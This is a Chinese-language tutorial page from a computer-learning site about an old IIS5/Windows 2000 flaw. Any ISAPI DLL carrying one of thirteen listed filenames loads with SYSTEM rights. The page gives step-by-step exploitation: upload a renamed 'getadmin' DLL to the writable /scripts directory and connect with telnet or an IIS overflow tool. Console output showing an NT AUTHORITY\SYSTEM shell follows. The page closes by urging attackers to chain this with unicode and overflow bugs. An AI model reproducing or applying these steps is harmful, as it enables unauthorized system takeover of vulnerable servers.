萬盛學電腦網

 萬盛學電腦網 >> 健康知識 >> IIS提升權限漏洞

IIS提升權限漏洞

  IIS4默認情況下,應用程序保護選項是"低(共用IIS進程)",所以加載isapi的時候是以加載IIS的身份執行。但WIN2K IIS5.0默認情況下應用程序保護選項是"中(共用的)",5自學網,這時IIS加載isapi是用的iwam_computername用戶身份執行。   但默認情況下WIN2K IIS5對於一些特殊isapi又要以system身份加載。win2k iis5 、win2k iis5 sp1、win2k iis5 sp2都是簡單的判斷isapi的文件名,並且沒有做目錄限制,以SYSTEM權限加載的isapi有:   1、 idq.dll   2、 httpext.dll   3、 httpodbc.dll   4、 ssinc.dll   5、 msw3prt.dll   6、 author.dll   7、 admin.dll   8、 shtml.dll   9、 sspifilt.dll   10、compfilt.dll   11、pwsdata.dll   12、md5filt.dll   13、fpexedll.dll   所以利用這很容易得到SYSTEM權限。並且判斷文件名的時候有個bug,比如請求/scripts/test乗ssinc.dll也將會認為是請求的ssinc.dll,就是分離文件路徑的時候沒有考慮到雙字節的遠東版問題。ssinc.dll在處理包含文件路徑的時候也有一個問題,就是"/"、"\"只識別了一個"/",所以如果請求裡面使用"\",就會錯誤的處理包含文件路徑,有可能洩露東西或者出現權限漏洞,這種漏洞很多別的地方( php、asp等)也還存在。   但在補了 補丁(%二次解碼補丁包,包含在sp3)後,加載這些isapi不是單以文件名做依據了,而是加了路徑,應該是修正了此問題。   一般默認情況下是:   1、 idq.dll d:\winnt\system32\idq.dll   2、 httpext.dll d:\winnt\system32\inetsrv\httpext.dll   3、 httpodbc.dll d:\winnt\system32\inetsrv\httpodbc.dll   4、 ssinc.dll d:\winnt\system32\inrtsrv\ssinc.dll   5、 msw3prt.dll d:\winnt\system32\msw3prt.dll   6、 author.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_aut\author.dll   7、 admin.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_adm\admin.dll   8、 shtml.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\shtml.dll   9、 sspifilt.dll d:\winnt\system32\inetsrv\sspifilt.dll   10、compfilt.dll d:\winnt\system32\inetsrv\compfilt.dll   11、pwsdata.dll d:\winnt\system32\inetsrv\pwsdata.dll   12、md5filt.dll d:\winnt\system32\inetsrv\md5filt.dll   13、fpexedll.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\bin\fpexedll.dll   正常情況下這些路徑都guest不能寫,所以應該算已經補上。但如果配置不好,這些路徑guest能夠寫了就一樣可以提升權限了       win2000的getadmin       把此dll上傳到IIS的可執行目錄,文件名可叫ssinc.dll或者admin.dll等(上面列的13個文件名之一)。然後使用telnet或者原來的asp.exe。     1、使用telnet。因為這不是專門的客戶端,使用參數"?okok"讓通信不加密,如果不帶這參數將是亂碼。     D:\WINNT\temp>telnet 192.168.8.48 80   get /scripts/ssinc.dll?okok   XORDATAMicrosoft Windows 2000 [Version 5.00.2195]   (C) 版權所有 1985-2000 Microsoft Corp.     D:\WINNT\system32>whoami   whoami   NT AUTHORITY\SYSTEM   D:\WINNT\system32>     2、使用asp.exe。同樣支持iisput、iisget、iiscmd等命令。   E:\work\asp\Debug>asp 192.168.8.48 /scripts/ssinc.dll     IIS4.0 OVERFLOW PROGRAM 2.0 .   copy by yuange 2000.6.2.   welcome to my homepage .   welcome to .   usage: asp [aspfile] [webport] [offset]     nuke ip: 192.168.8.48 port 80   offset:0     shellcode long 0x143c     packetlong:0x1003c     send packet 65634 bytes.   recv:   TRACK / HTTP/1.1   HOST:192.168.8.48     ok!recv 8 bytes     recv:XORDATAMicrosoft Windows 2000 [Version 5.00.2195]   (C) 版權所有 1985-2000 Microsoft Corp.     D:\WINNT\system32>whoami   whoami   NT AUTHORITY\SYSTEM     對於IIS4默認情況下加載ISAPI的DLL都是SYSTEM權限,要得到SYSTEM權限那就根本不是問題。但IIS5默認不是,就需要利用這個提升權限漏洞。這個漏洞照現在公布的,需要有個可寫目錄供上傳利用的dll,因為UNICODE漏洞所以不一定要在虛擬目錄,不過默認情況下虛擬可執行目錄/scripts可寫。   其實結合別的漏洞,根本不需要可寫目錄,不需要上傳DLL,可以利用IIS自身帶的一些DLL,利用UNICODE、利用溢出,利用再一個漏洞、加上這個提升權限的漏洞,那就可以一步到位,直接得到system權限。     WINDOWS、IIS等漏洞太多,自學教程,現在利用IIS漏洞都是玩組合了。像上面說的實際應用中就可以一下利用我們發現的unicode、fpse擴展溢出、截斷、提升權限漏洞4個大漏洞。
copyright © 萬盛學電腦網 all rights reserved